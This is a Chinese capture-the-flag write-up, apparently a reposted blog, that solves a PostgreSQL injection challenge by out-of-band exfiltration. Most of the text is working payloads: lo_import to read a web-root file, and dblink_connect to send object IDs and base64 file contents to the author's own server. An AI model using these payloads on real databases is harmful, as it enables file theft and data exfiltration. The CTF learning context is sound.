本文主要是介绍postgresql 带外注入,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
最近某秋弄了个比赛,有个题是FBCTF的原题魔改的脑洞题
记录下
postgresql带外注入(FBCTF)
FBCTF详解
解题
flag名字在.htaccess文件里(由tank文件解析而来),提示也只说flag在web的某个目录下,真鸡巴离谱,这题的数据库用户权限很低,只有查询权限,RCE是很困难的
我用的是外联数据库的方法
vps环境:Ubuntu18.04
apt install 安装即可
百度有
修改配置文件
设置
listen_addresses = ‘*’
重启服务
手机访问 f12体验苹果6
用上面csdn的payload试试,服务器有回显
我查到他的库名是
public searches
但是flag并不在数据库里
由于用户权限低的缘故,不能用常规方法读取 只能用到大对象操作
上述文章有讲到
先绑定文件的oid
这里是不能进行带外的注意
1' UNION SELECT (select lo_import('/var/www/html/.htaccess')),'1' --+
注意只能在第一个字段绑定
绑定后通过查询pg_largeobject_metadata表来获得所有的大对象的oid
1' UNION SELECT 1,(SELECT dblink_connect('host=你的ip地址 port=5432 user=@'||(SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l)||' password=postgres dbname=postgres')) --
再一个个试,从最后面那个试
1' UNION SELECT 1,(SELECT dblink_connect('host=你的ip地址 port=5432 user=@'||(select substring(encode(lo_get(16441),'base64'),1,15))||' password= dbname=postgres')) --
然后读oid绑定的文件
注意base64编码,而且返回还做了长度限制
通过substring()函数进行截断读取
我就截了这么一段
PEZpbGVzTWF0Y2ggInB1c2hGMW40QW5LIj4KICBTZXRIYW5kbG
这里可知道flag的文件名为pushF1n4AnK
再用同样的方法读flag
一个个读
PD9waHAKJGZsYWc9ImZsYWd7NGQ4MTAxMDQtNzFiYS00ZmUzLThkY2YtYzYwNzY2NThiODllfSI7
这篇关于postgresql 带外注入的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!